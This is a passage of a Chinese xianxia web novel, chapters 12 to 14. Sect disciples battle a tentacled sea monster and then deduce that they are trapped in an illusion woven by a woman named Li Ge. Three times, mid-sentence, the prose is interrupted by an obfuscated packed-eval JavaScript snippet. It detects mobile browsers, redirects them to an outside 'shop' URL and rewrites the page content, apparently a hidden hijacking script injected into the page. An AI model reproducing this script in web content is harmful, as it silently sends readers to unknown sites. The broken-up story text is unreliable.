他想也不想,扬手就是数张明黄色的符箓激射而出,直取漩涡中心的沧溟长老。 这符爆之术,灵感源于掌门亲传、那位惊才绝艳的六师姐云上月。 只可惜陈澜学艺尚浅。 做不到像他六师姐那般挥手间雷霆万钧、符篆自生,只能依靠提前绘制好的符箓。 “轰!轰!轰!” 数声爆响在漩涡外围炸开,灵力闪烁,搅得水流一片混乱。 漩涡中心, 沧溟长老猛地睁开了双眼。 那双眼睛里已没有丝毫属于长老的威严正气,只剩下被打扰好事后的暴戾阴鸷。 他死死盯住闯入的玉宸宫众人,双手在胸前急速变幻印诀,嘴里发出晦涩难明的古老音节。 一股庞大无比的妖气骤然爆发,席卷整个空间。 在众人惊骇的目光中,沧溟长老的身躯如同充气般急剧膨胀、变形,宽大的衣袍被撑裂,皮肤转为深沉的暗蓝色,表面浮现出恶心的吸盘与粘液。 不过眨眼之间,先前那道貌岸然的长老,赫然变成了一只有着无数挥舞触手、庞大如山峦的恐怖海怪! 它的阴影,瞬间笼罩了所有人。 12. 第十二章 说时迟那时快。 说时迟那时快。 那触手破水而来,裹挟着雷霆万钧之势和一股能把人熏晕过去的浓烈腥气。 速度快得简直像一道劈开海水的蓝色闪电,完全颠覆了大家对庞大生物必然笨拙的印象—— 直袭陈澜那尚带着几分少年稚气的面门。 陈澜脑子里“嗡”的一声,一片空白,身体僵直得像根木头。 眼看那黏糊糊、布满诡异吸盘的玩意儿就要跟他来个亲密接触。 他甚至能想象出被拍成肉饼或者被裹挟着塞进肚的悲惨未来。 他可不要做这个丑八怪的晚餐! 千钧一发之际,一道碧色身影犹如疾风,猛地闪现,挡在了他身前。 是聆音师姐。 “去!” 聆音清叱一声,指尖灵力迸射,面前出现了一扇爬满藤蔓的巨门。 伴随着一阵柔和却坚定的波动,一只跟海怪差不多大,龟壳闪烁着金属光泽、眼神看起来呆呆又带着点倔强的灵龟,自门后出现。 如同最坚固的盾牌,灵龟矗立在陈澜与那触手之间。 “铛——” 触手狠狠砸在龟壳上,发出的竟不是沉闷的□□撞击声,而是震耳欲聋的巨响,激荡起一圈肉眼可见的海底风暴,震得周围细小的海底生物碎屑到处乱飞。 与此同时,聆音已凭借巧妙的身法闪至陈澜身边,用着看似轻柔实则不容抗拒的力道,将他向后推开。 “发什么呆呢。小心!” 陈澜被推得一个趔趄,刚稳住身形,还来不及道谢,瞳孔便猛地收缩—— “师姐小心后面!” 原来,那海怪的触手竟不止一条。 另一条更为纤细、颜色也更深沉的触手,如同潜伏的毒蛇,悄无声息地绕过了铁甲龟那坚实的正面防御。 “啪”地一声脆响。 那触手结结实实抽在了聆音来不及完全收回的右手手背上。 “嘶——” 聆音痛得倒吸一口冷气,鼻尖瞬间沁出细密汗珠。 手背上传来火辣辣的剧痛,一道深可见骨的伤口狰狞地裂开,鲜红的血液立刻涌出,在海水中氤氲开一小团刺目的血雾。 “师姐!” 陈澜又惊又怒,声音都变了调,眼眶瞬间就红了。 既有对师姐受伤的心疼,也有对自己反应迟钝的懊恼。 聆音额上冷汗直冒,脸色苍白了几分,却仍强忍着钻心的疼痛,咬牙摇头,语气试图保持平稳:“没事……皮外伤。” 她迅速用未受伤的手掐了个简单的止血诀,暂时遏止了血流。 但伤口依旧触目惊心。 聆音抬眸,望向那几乎遮蔽了整个海域、投下阴影的庞大怪物,“沧溟长老……他竟然……不是鲛人?而是……这等可怖的海怪?” 陈澜也傻眼了。 他踮起脚,仰望着那挥舞着无数触手、形态丑恶巨硕的阴影,不由自主地喃喃吐槽:“这、这原型差距是不是有点过于悬殊了?说好的泣泪成珠的深海鲛人呢?” 眼前这玩意儿跟鲛人有半个铜板的关系吗? 简直就是对深海生物多样性的粗暴诠释。 “都这时候了还感慨个屁啊!给老子起!” 胖师兄一声怒吼,圆滚滚的身躯此刻却爆发出惊人的气势,他双手疾速掐动剑诀,周身灵气如同沸腾般激荡不休。 霎时间,铿锵剑鸣响彻海底,无数大大小小、光芒各异的灵剑虚影凭空浮现。 寒光凛冽,剑气纵横。 组成一个杀气腾腾的剑阵,如同疾风骤雨,又似暴雨倾盆,朝着海怪沧溟庞大的本体疯狂攒射而去。 纯粹的剑修,打架就是这般朴实无华。 有了胖师兄带头,其余几位同门也都精神一振,各显神通。 一时间,炽热的火球拖着尾焰呼啸而过,冰锥带着冻结一切的寒意穿刺,藤蔓如同灵蛇般缠绕束缚,金色的符箓炸开道道驱邪金光…… 五花八门、色彩缤纷的术法光芒几乎照亮了这片幽深的海底,全都一股脑地、热情洋溢地招呼向那巨大的海怪本体。 场面那叫一个眼花缭乱,堪比修真界年度比试大会。 聆音忍着痛,还不忘回头朝翩翩这边焦急地喊道:“翩翩师妹!这里太危险了!你快躲到那边那簇最大的珊瑚后面去!” “千万别出来,免得被误伤了!” 想说明自己不弱,但突然发现自己真的表现很弱的翩翩:“……” 她只能含泪接受这份来自同门的、沉重的关爱。 这可是大家对毫无自保能力、脆弱不堪的无灵根小杂役的保护和关心啊! 她能说什么? 她能跳出去说放着我来吗? 不能! 她只能悲愤地、一步三回头地挪到那簇巨大且色彩斑斓、看起来确实很结实的七彩珊瑚后面。 她几乎要喷出火来的目光,如同两柄无形的小飞刀,嗖嗖地射向了场中唯一那个格格不入、画风清奇的身影。 谢不舟。 这位理论上修为最高、战力最强、理应承担起主力输出兼团队核心责任的剑首亲传。 此刻依旧站得笔直如松。 他的白衣在海水中微微拂动,纤尘不染,神情淡漠得仿佛眼前不是自己的同门。 他只是在单纯地看一场陌生人大战的好戏。 从海怪闪亮登场、触手乱舞到现在,战况几度危急,他别说动手,连嘴唇都没动一下,眼神平静无波。 甚至他背后那柄闻名遐迩、据说能辨善恶、斩因果的善恶剑,连剑鞘都还没出来过。 仿佛只是个高冷的挂饰。 不是,对她一个人冷漠、把她当空气也就罢了。 可现在,那可都是他的同门师弟师妹啊! 是那些会叫他“七师兄”、此刻正在被一只巨大的、触手乱飞、口水横流的海怪按着头殴打的同门。 他居然也能看得下去? 心是海底玄冰做的吗? 翩翩瞬间觉得,谢不舟前世能被她写进那本流传整个修仙界、赚足了无数女修眼泪的虐心话本子里,让他爱而不得、最后孤寂终老—— 纯粹是他自己作的! 这冷漠无情、习惯于袖手旁观、毫无团队精神、简直缺乏人类正常共情能力的性子。 这样的人,不写进话本子里让他被虐得肝肠寸断、留下无数心酸泪,谁该被写进去? 他该!他活该! 他就是行走的话本子灵感来源! 翩翩一边在心里疯狂吐槽,用她能想到的所有词汇问候这块看戏的木头,一边还是忍不住分神关注着愈发不妙的战局。 情况显然不容乐观,众人的攻击落在海怪坚韧的皮肤上,大多只留下些不痛不痒的痕迹,反倒是海怪随便一挥触手,就能逼得他们手忙脚乱。 尤其是聆音师姐那只忠心耿耿的大龟… 原本坚硬的龟壳上,竟然已经被触手洞穿了好几个拳头大小的窟窿。 灵光黯淡,眼看就要撑不住了。 等等…… 甲壳被触手如此轻易地穿过? 翩翩眉头紧紧蹙起,敏锐地察觉到了一丝不对劲。 最开始,这铁甲龟的龟壳明明能稳稳挡住绝大多数触手的猛击,只是被震退而已。 怎么现在却……? 是海怪变强了,还是…… 她脑中灵光一闪,似乎抓住了某个被忽略的关键点。 幻象?消耗?还是…… 就在她思绪飞转,试图抓住那丝灵感时—— 谢天谢地,那一直作壁上观、仿佛要站到地老天荒的谢不舟,终于动了。 他足尖轻轻一点,身形便如一片羽毛,又似一道飞速剑光,优雅而迅疾地凌空而起。 周围因战斗而混乱汹涌的水流对他竟毫无影响,连衣袂都未有浮动。 他背后的善恶剑发出一声低沉却极具穿透力的嗡鸣。 自动出鞘半寸。 那柄几乎与他本人等高的巨剑—— 善恶。 完全悬浮于他头顶,剑身古朴无华,并无耀眼夺目的光芒,却自带一股令人灵魂战栗、仿佛能审判一切的凛然威压。 瞬间成为了整个海底战场的焦点。 谢不舟薄唇微启,吐出三个字: “善恶,破。” 没有惊天动地的声势,没有花里胡哨的招式,甚至没有多余的剑气纵横。 善恶剑只是化作一道纯粹至极、仿佛能净化一切虚妄的白色光柱。 无视了空间与距离,径直朝着那庞大臃肿、张牙舞爪的海怪核心—— 平静地斩去。 “嗡——!” 白光瞬间暴涨,吞噬了一切色彩与声音,也吞噬了所有人的视野。 众人只觉得眼前一片纯白,紧接着便是彻底的黑暗,仿佛瞬间失明,连神识都被短暂地隔绝。 当感知重新回归,耀眼的白光已然散去。 脚踏实地的、属于沙地的柔软触感传来,带着阳光温度的、咸腥而干燥的海风吹拂在脸上,耳边是海浪拍打礁石的哗哗声。 众人茫然地、带着几分眩晕感地睁开眼,惊愕万分地发现,他们竟然不在幽暗深邃的海底了。 而是站在了一个看起来颇为贫瘠、房屋低矮简陋的海边小渔村。 头顶是明媚的阳光,脚下是金黄的沙滩,不远处是破旧的木屋和搁浅的旧渔船,还有…… 一个手里拿着鱼篓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495785|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上穿着粗布麻衣,正一脸困惑、茫然地望着他们这群天降奇兵的女子—— 离歌。 不过,此刻的她,下半身是完完整整、属于人类的双腿,并没有那条记忆中华丽梦幻、闪烁着珠光贝色的七彩鱼尾。 “这、这……这是怎么回事?” 陈澜彻底懵了,使劲揉了揉眼睛,又掐了自己大腿一把,疼得龇牙咧嘴,“我们刚刚不是在跟沧溟长老变成的,超级大的海怪打架吗?怎么一眨眼就到陆地了?穿越了?还是我被打傻了出现幻觉了?” “是……是七师兄出手,破开了危局,救了我们……吧?” 聆音捂着手背上依旧狰狞的伤口,语气也充满了不确定和困惑。 她看向谢不舟。 后者已然收剑回鞘,依旧那副万年不变的冰山脸,仿佛刚才那石破天惊的一剑跟他没关系。 “所以我们现在……任务完成了?沧溟伏诛了?” 可如果谢不舟一剑就解决了那明显是罪魁祸首的海怪沧溟—— 那个吸取婴孩魂魄进行邪恶修炼的元凶伏法。 一切不应该尘埃落定, 他们顺利返回师门交差了吗? 为什么他们会出现在这个完全陌生、看起来毫无灵气的小渔村? 就在众人面面相觑,满腹疑窦,议论纷纷,几乎要开始检查自身是否缺胳膊少腿或者中了什么未知诅咒之时, 一个声音从旁边岩石后响起。 “离歌姑娘,戏也看够了,你就别再装模作样地骗我们了。” 翩翩缓步走了出来。 她的衣裙在海风中微微飘动,目光清亮,直接锁定了一脸纯然无辜、仿佛受了惊吓的离歌。 离歌眨了眨那双依旧美丽的眼睛,更加困惑,甚至下意识地抱紧了怀里的鱼篓:“姑娘……你、你这是什么意思?我怎么完全听不明白?” “你们……你们是什么人?怎么会突然出现在我们村子里?” 翩翩勾起唇角,那眼神带着一种“我静静看着你表演”的从容:“还要我说得更清楚一点吗,离歌姑娘?或者说……这场幻境的编织者?” “从我们一行人踏入那座看似平静实则诡异的鲛人镇开始,所见所闻,包括那位沧溟长老,乃至刚才那场惊天动地的恶战——” “从头到尾,全都是你精心设计、一手安排的一场——幻、境。” 众人:“!” 什么? 幻境? 他们一直身处幻境之中? 不可能啊! 那海底的高压,那触手的攻击,聆音师姐手上火辣辣的疼痛和依旧渗血的伤口…… 哪一样不是真实得可怕? “你这个杂役弟子在这里胡说什么!” 一个性子急的弟子立刻反驳。 “就是!信口开河!我们这么多人都经历了,怎么可能是幻境!” “别在这里瞎扯扰乱人心了!肯定是七师兄用了什么大挪移术法救了我们!” 质疑声、斥责声此起彼伏,几乎要将翩翩淹没。 翩翩却丝毫不为所动,仿佛那些声音只是过耳清风,她只静静看着离歌。 目光如同最精准的镜光,要将对方所有的伪装都映照出来。 在众人或惊疑、或愤怒、或探究的目光注视下,离歌脸上那纯然的无辜和困惑,如同被风吹散的沙画,一点点剥落、消散。 她忽然低低地笑了起来。 起初只是肩膀微耸,继而笑声越来越大,越来越癫狂,带着一种计谋终于被戳破的诡异畅快,和几分难以言喻的凄厉与悲凉。 回荡在这寂静的渔村海边。 “哈哈……哈哈哈……真是……精彩啊……” 众人被她这突如其来的变化惊得怔在原地。 几个反应快的弟子下意识地上前几步,想去拉住她问个明白。 “离歌姑娘,你……” “这到底是怎么回事?!” 然而,他们的手刚刚伸出,甚至还未触碰到离歌的衣角。 她的身影就如同阳光下的泡沫,开始剧烈地波动、模糊起来,轮廓也跟着消散。 最终,在众目睽睽之下,离歌,连同她脸上那复杂难辨的笑容,一点点、彻底地消散在带着咸腥味的空气之中,再无半点痕迹。 仿佛她从未存在过。 只留下空旷的渔村沙滩,刺眼的阳光,哗啦啦的海浪声,和一群面面相觑、心头被巨大谜团彻底笼罩的年轻修士。 微风卷起沙粒,打着旋儿掠过呆立的众人,带着说不清的诡异。 陈澜张了张嘴,干巴巴地挤出一句:“所、所以……我们现在,又是在哪里?还是在……幻境里吗?” 他挠了挠头。 13. 第十三章 阳光依旧明媚,海浪依旧拍岸。但这寻常渔村的景象,此刻落在众人眼中,却透着一股说不出的冷寂。 “幻……幻境?” 一个弟子重复着这两个字,脸上写满了无法置信,“我们从进入鲛人镇开始,就一直在幻境里?这怎么可能!” “对啊!怎么可能!” “就是!一个杂役弟子信口开河的话也能信?我看她就是哗众取宠!” …… 质疑和混乱如同投入静湖的石子,迅速荡开涟漪。 大部分人都难以接受自己经历的一切竟是虚假,尤其这真相还是由一个平日不起眼的杂役弟子点破。 在一片嘈杂的议论和隐隐带着敌意的目光中,聆音师姐轻柔却坚定的声音响了起来,她并未因受伤而虚弱,反而带着一种安抚人心的力量: “翩翩师妹,” 她转向被众人围观的翩翩,眼神温和,带着纯粹的疑惑,“你说我们从鲛人镇开始就是一场幻境,可有什么依据?师姐愿闻其详。” 与旁人或质疑或嘲讽的态度截然不同,聆音这份信任的姿态,让原本打算硬刚到底的翩翩心头微微一暖。 她环视一圈神色各异的同门,最后目光落在聆音身上,不答反问:“聆音师姐,你刚刚和那沧溟长老交战,可曾感到什么不对的地方?” “不对的地方?” 聆音微微蹙眉,仔细回想方才那场惊心动魄的战斗。 片刻后,她肯定地点点头,“确实是有的。” 她抬起自己受伤的手,目光落在依旧隐隐作痛的伤口上,缓缓道:“我最开始召唤玄龟时,它的甲壳分明能稳稳挡住绝大多数触手的猛击,虽然被震退,但防御无损。可到了最后……” 她眼中闪过一丝困惑,“那触手却仿佛突然拥有了极强的穿透力,竟能轻易击穿龟甲。这实力的变化,未免太过突兀。” “所以一只妖,可能会在短时间内实力如此暴涨吗?”翩翩顺着她的话接着说下去,目光扫向众人。 众人下意识地摇头。 修真界常识,除非吞噬了什么天材地宝或者动用了禁忌秘法,否则修为实力都是循序渐进,绝无可能瞬息间发生如此巨大的飞跃。 “诸位,”翩翩的声音不大,却像一颗石子投入死水,泛起涟漪,“可还记得称心如意镜?” 陈澜反应最快,他猛地一拍大腿,声音都拔高了几分:“当然记得!那镜子可神了,据说能把人心底里想的、盼的,甚至怕的,全都给映出来,跟活了一样!难……难道说……” “……沧、沧溟长老他……” 一只妖,纵然有些年头,确实难以在短时间内实力暴涨到如此骇人听闻的地步。 但,如果他受到的外力,并非寻常的灵力灌输或邪术加持,而是…… 借着称心如意镜的影响, 来依靠众人意识的滋养呢? 众人脑海中不由自主地浮现出那遮天蔽日的巨大海怪形象,那无数挥舞的、粘滑腥臭的触手,那令人窒息的妖气…… 每一次他们对这海怪产生它不可战胜、它太可怕了的念头时—— 那怪物的力量似乎就真的在增长。 战意在他们心中消退,恐惧如野草般疯长,而对手的力量,便在这无形的喂养下,水涨船高。 借着称心如意镜的影响,沧溟…… 或者说他们集体恐惧的投射物,真的变成了他们想象中那个无法战胜的怪物。 如果不是谢不舟当机立断,以雷霆之势直接斩杀,强行打断了这个过程…… 细密的冷汗,瞬间浸湿了在场不少人的后背。 一种后知后觉的惊悚感,顺着脊椎骨爬了上来。 “但,但这只能说明沧溟在战斗中用那破镜子阴了我们吧?” 胖师兄抹了把额头的汗,试图找出漏洞来安抚自己受惊的心脏。 “我记得你刚刚可是说,我们一开始就在幻境中!我们在鲛人镇看到的一切,摸到的一切,感受到的一切,都是那么真实!那老龟人跟我们搭话时海水的咸腥味我现在都还记得!怎么就……就全都是假的,是幻境了呢?” 他这话引起了部分人的共鸣,纷纷点头,看向翩翩的目光带着求证。 “你问我要证据?” 翩翩闻言,非但不急,反而轻轻笑了起来,“那证据……可就多了去了。” 她慢悠悠地重复着那个名字:“称心如意。” 舌尖轻轻吐出这四个字,仿佛在品味着什么。“可真是个……应景的好名字。” 她抬起眼,目光扫过在场每一张或惊疑、或茫然、或沉思的脸,“大家仔细想想,从我们踏入鲛人镇开始,所经历的桩桩件件,哪一样,不是称心如意?” 翩翩的思绪飘回不久之前:“我记得,我走在市集上,心里正琢磨着那离歌的故事,想着该找谁打听才好。念头刚起,身边……似乎就恰到好处地出现了一面称心如意镜。” 她又看向陈澜:“陈澜师弟那时是不是嘟囔过,觉得这任务繁琐,盼着能快点结束,好回去歇着?” 陈澜一愣,下意识地点头:“是、是啊!我当时就说了一句‘这事什么时候是个头啊’,然后没走两步,就、就听到了沧溟长老在训斥那位如夫人!像是特意在那时把所谓的幕后真凶喂到嘴边似的。” 他猛地反应过来。 当时他视线余光里—— 墙角似乎也立着一面镜子。 “甚至有可能,”翩翩的声音带着一种引导性的力量,“沧溟长老这个关键人物的出现,他恰好能引出失魂症这条任务线索,本身……就是被安排好的称心如意。” 称心如意。 称心如意。 这四个字如同魔咒,在众人耳边反复回响。 他们想要线索,线索就恰到好处地出现。 他们觉得任务拖沓,转折就及时送来。 他们潜意识里对深海、对未知妖物的恐惧,最终凝聚成了那个他们认为自己绝对无法战胜的恐怖海怪…… 所有的事情,都像是被一只无形的手牵引着,精准地按照他们内心的渴望、潜藏的念头,甚至是未曾言明的预判——— 一步步地, 称心如意地, 发展下去。 回想起这一路走来,那过于顺利、过于巧合的种种经历,此刻都化作了细密的冰针,扎得众人后脑勺发麻,一股寒意从脚底板直冲天灵盖,让他们控制不住地打了个哆嗦,浑身发冷。 这哪里是什么称心如意? 这分明是……温水煮青蛙的困兽之局! “哼!” 旁边传来一声不屑的冷哼,打破了逐渐凝重的气氛。 胖师兄抱着臂,脸上挂着一副“我看你能编到几时”的表情,瓮声瓮气道:“这一切都不过是你的推测而已!巧合,一切都是巧合!” “再说了,空口无凭,你怎么能如此确定我们一定就进入了幻境?” “万一是什么空间挪移阵法呢?” 他心里其实已经信了五六分。 但一想到这番抽丝剥茧的推理是出自一个往日里被他呼来喝去的杂役弟子之口,面子上就有些挂不住。 那点身为内门弟子的优越感和不甘心,让他说出了最后的倔强反驳。 翩翩早就料到会有人不服,闻言也不恼。 “当然,推测需要证据支撑。” “我倒是有个最简单的证据。” 她慢悠悠地说着,伸出了自己的左手,挽起一截衣袖,露出了纤细手腕上那一圈淡得几乎看不见、却隐隐透着灵光波动的红色丝线痕迹。 “各位同门见识广博,可知这是什么?” 她将手腕亮给众人看。 那红线般的痕迹若隐若现,构成一个奇异的咒印,带着某种约束的气息。 “红线……咒法……” 那位以熟读藏经阁典籍著称的师姐凝神细看,眉头紧锁,喃喃自语,“形态若丝,缚于腕间,灵光内蕴……这、这难道是古籍中记载的……缚心咒?” 她有些犹豫地说出口,似乎自己也觉得这咒法颇为冷门。 “答对了!” 翩翩笑得像只偷腥成功的小狐狸,她几步走到那位师姐面前,凑得极近,几乎要贴到对方脸上。 她俯身将手腕又往前送了送,好让她看得更清楚,“那师姐博闻强识,可还记得,这缚心咒可有何功效?” 那位师姐被她突如其来的靠近弄得有些不自在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495786|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下意识后退半步,回忆着典籍上的记载:“缚心咒……据传是数百年前一位痴情的剑修大能,为他那位……嗯,生性洒脱、交友广阔的合欢宗道侣特意研制的。” “其功效是……让中咒者不得离开施咒者五尺开外,否则便会气血逆行,经脉刺痛,浑身不自在,以此确保道侣……” “不会勾搭别的修士。” 她说着,目光不由自主地瞟向了旁边秉持着沉默是金的谢不舟,眼神突然变得微妙起来。 不仅是她,周围所有人的目光,都齐刷刷地聚焦到了谢不舟身上。 缚心咒?谢师兄???!!! 这信息量有点大啊! 翩翩直起身,对着仿佛话题中心不是自己的谢不舟,大大方方地抛了个媚眼,语气带着点戏谑的亲昵:“对咯!这个缚心咒嘛,就是你们亲爱的谢师兄、亲手给我施加的。” “所以你想要说明什么!” 胖师兄听得心头火起,更是不耐。 这女人东拉西扯,到底想干嘛! “嘘——” 翩翩将一根纤细的手指竖在唇边,做了个噤声的手势,“别急嘛,师兄,重点来了。” 她转过身,面向所有竖起耳朵的同门,清晰地说道:“众所周知,这缚心咒一旦生效,中咒者若离施咒者超过五尺,便会立生感应,痛苦不堪。但是,奇怪的事情发生了——” 她刻意停顿了一下,吊足了胃口,才一字一句道:“在踏入鲛人镇外围阵法的那第一晚,我就与谢师兄意外失散了。” “而且,分开的时间,绝对不止一炷香,距离,也远远超过了十尺。” “然而,” 她抬起自己完好无损的手腕,晃了晃,“我安然无恙,没有任何不适。” 现场一片寂静。 缚心咒未生效? 在明确分离超过限制的情况下? 这几乎是不可能的事情! 除非…… “所以,翩翩你的意思是,” 聆音师姐最先反应过来,眼中闪过一丝明悟,“因为缚心咒没有产生应有的效用,所以你才断定,我们当时所处的空间,并非真实,而是连这种基于真实规则缔结的咒法都能蒙蔽过去的——幻境?” 翩翩点头,给了她一个“还是师姐聪明”的眼神。 “没错。幻境可以模拟景象、声音、触感,甚至疼痛,但它很难完美复刻现实世界中所有复杂的规则联系,尤其是这种涉及两人之间紧密因果联结的高阶咒法。这是一个无法辩驳的漏洞。” “还不止呢。” 翩翩话锋一转,脚步轻盈地走到了始终如同冰山般伫立的谢不舟面前。 谢不舟垂眸看着她,深邃的眼眸中依旧没什么情绪,但那份专注的审视,比之前任何时候都要强烈。 翩翩仰头看着他,脸上绽开一个带着点挑衅的笑容。 “其实,不只是我发现了不对劲吧,谢师兄?” 她声音不高,却足以让周围所有人都听得清清楚楚。 “你从进入鲛人镇开始,就一直在冷眼旁观。既不积极参与调查,面对海怪也不出手,像个局外人。” “我原本以为,是因为这任务并非你主动接下,所以你懒得理会。” “但现在想来,” 翩翩的笑容加深,“恐怕是因为,你比我们所有人都更早地看出了端倪吧?” “你也早就猜到这是幻境了,对不对?” “所以你觉得,调查沧溟、追查如夫人,乃至最后对战那个看似凶悍的海怪,都不是破局的关键,不过是幻境根据我们想象演出的戏码。” “你从一开始的沉默,并非漠不关心,” 她笃定地说,“而是在冷静地观察,观察这个幻境的运行规则,寻找其核心或者——” “破绽所在?” “我说的对吗,谢师兄?” 海风吹拂着谢不舟额前的几缕碎发,他脸上依旧没什么表情,但那双看向翩翩的眼睛里,似乎有什么极细微的东西,轻轻动了一下。 他没有承认。 但,他也没有否认。 而这无声的反应,对于了解谢不舟为人的人来说,几乎就等于—— 默认。 14. 第十四章 “那么进展到这里,” 翩翩清了清嗓子,将众人的注意力拉回,“既然知道了我们所在的地方是幻境,那接下来,我们是不是该问问这位幻境的主人,把我们拉进来有何目的?” 她目光流转,再次投向离歌方才消失的那片空气。 仿佛那里还残留着制造这场庞大迷梦的主人的气息。 “这幻境的主人……是离歌?”聆音捂住受伤的手,难掩惊愕。 那个看起来柔弱无害、甚至带着几分凄楚的鲛人女子? 陈澜扶着脑袋,感觉自己的脑浆子快要被这一波三折的真相搅成了糊糊:“等等,等等!这怎么又和这位离歌姑娘扯上关系了?” “我感觉自己已经完全跟不上翩翩姐姐的思路了!” 他语气里带着显而易见的崩溃,但称呼却自然而然地从“翩翩”变成了“翩翩姐姐”。 小孩子的心性最是简单直接,强者为尊,比如他敬畏的谢不舟。 而智者也值得尊敬。 比如眼前这个抽丝剥茧、屡出惊人之语的翩翩。 翩翩对陈澜的改口受用地点点头,继续引导众人思考:“大家有没有想过一个问题?” “如果说我们进入的鲛人镇幻境,其故事主要是围绕着我们的任务和想象展开。” “那么有一个人,她和她的故事,却始终游离在我们的任务主线之外。” 她顿了顿,强调道:“她太普通了,普通到我们几乎从未将她与核心事件联系起来。” “但如果她和我们调查的婴儿失魂毫无关联,又为何会如此频繁地出现在幻境中,甚至在我们破除海怪剧情后,直接将我们拉到了这个与她相关的小渔村?” 众人闻言,皆陷入沉思。 他们在鲛人镇的那些天,并非两耳不闻窗外事,也曾在街巷间穿行,偶尔听说过“离歌”这个名字,知道她是镇上一个怀孕的鲛人。 但她的存在感确实稀薄,如同背景板,从未引起过任何额外的关注。 但越是前期平平无奇,到后期越可能是始作俑者。 这话本性质的反转规则, 百试百灵。 “所以……我们现在,还是在离歌创造的幻境里面吗?” 陈澜一下子垮下了肩膀,丧气极了。 他本以为经历海底恶战,破除海怪,一切就已终结。 结果现在还只是一重幻境。 而现在,环顾这看似寻常的小渔村。 难道又是要重新开启一周目? “一重又一重,这离歌到底编织了多少个幻境啊?没完没了了吗!” 陈澜感觉自己受到了重大打击,心态爆炸,一个屁股蹲,坐在了地上,委屈巴巴。 这时,一只温暖的手轻轻拍了拍他的肩膀。 是翩翩。 “别灰心呀,小师兄。” 翩翩见他一副生无可恋的样子,忍不住笑了笑,思考着该如何给他打气,“嗯……这样吧,” 为了安抚丧气的小师兄,她灵机一动,想到了一个绝妙的比喻。 “如果把整个幻境比作一个巨大的鸡蛋,那么我们已经成功破除了外面那层‘蛋白’的部分——也就是按照我们想象生成的鲛人镇剧情。而现在……” 她抬手指向不远处那炊烟袅袅、人声隐约传来的小渔村,眼中闪过一丝洞察的光芒。 “我们恐怕已经进入最核心的‘蛋黄’部分了。” ————— 这小渔村虽然规模不大,人气却十足。 男人们扛着渔网,带着一身海腥气从海边归来,古铜色的皮肤在夕阳下泛着健康的光泽。 女人们或在屋前织补渔网,或生火做饭,看到归来的家人,脸上露出朴实而温暖的笑容。 孩童们光着脚丫在沙滩上追逐嬉戏,留下一串串杂乱的脚印。 一派祥和,生机勃勃。 然而,当翩翩他们一行人走入村中时,奇异的事情发生了。 那些忙碌的村民仿佛完全看不见他们,该走路的走路,该说笑的说笑,甚至有人直直地朝他们走来,然后…… 如同穿过一道虚影般,毫无阻碍地从他们身体中穿行而过。 “这……我们变成鬼了?” 一个弟子惊疑不定地看着自己透明的手。 “是幻境将我们排斥在外了。”聆音尝试着伸手去触碰一个跑过的孩童,手掌同样毫无阻碍地穿过了那小小的身体。 正当众人对这旁观者状态感到困惑时,只见不远处一间渔屋的木门“吱呀”一声被推开。 一个脑袋小心翼翼地探了出来。 那少女面容娇俏,带着渔家女儿特有的健康红晕,眼神灵动地四下张望—— 正是离歌! 当她看到远处走来的一个背着书箱、穿着虽旧但浆洗得干净的青衫年轻人时,脸上立刻绽放出明亮灿烂的笑容,像只欢快的小鸟,一蹦一跳地跑了过去。 亲昵又自然地挽住了男人的手臂。 “靠!总算找到你了!”看到离歌,胖师兄早就没了耐心。 在他看来,既然确定了离歌就是幻境主人,那就干脆利落点。 擒贼先擒王,何必再费周章? 他二话不说,并指如剑,驱使着悬浮在侧的宝剑,化作一道凌厉寒光,直刺离歌后心。 “住手!” 聆音惊呼,想要阻拦,但胖师兄出手太快,她根本来不及反应。 然而,预想中鲜血淋漓的场面并未出现。 那柄蕴含着灵力的宝剑,在接触到离歌身体的瞬间,也如同刺入了虚无的空气中,毫无阻碍地从离歌身体中间穿了过去。 离歌依旧挽着那青衫男子,巧笑嫣然,对身后致命的袭击毫无所觉。 胖师兄:“……” 他目瞪口呆地看着自己的剑穿过空气,脸色青一阵白一阵。 见状,聆音也再次尝试,伸手去触碰离歌的肩膀。 结果同样,她的手掌毫无实感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495787|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地穿了过去。 “这到底是怎么回事?!” 胖师兄又惊又怒,感觉自己的智商和修为同时受到了侮辱。 翩翩抱着手臂,分析道:“可能是因为我刚才戳穿离歌的举动,所以现在,这位幻境的主人并不欢迎我们,特意将我们的存在屏蔽了,把我们彻底排除在了这场故事之外。” “难道我们就要在这里干站着,看她演这出莫名其妙的戏,等到海枯石烂吗?” 胖师兄没好气地呛声。 “不急。” 这次开口的,是谢不舟。 他目光沉静,如同深潭,牢牢锁定在那一脸娇羞幸福的离歌身上,语气平淡无波。 “先看看,她打算做什么。” 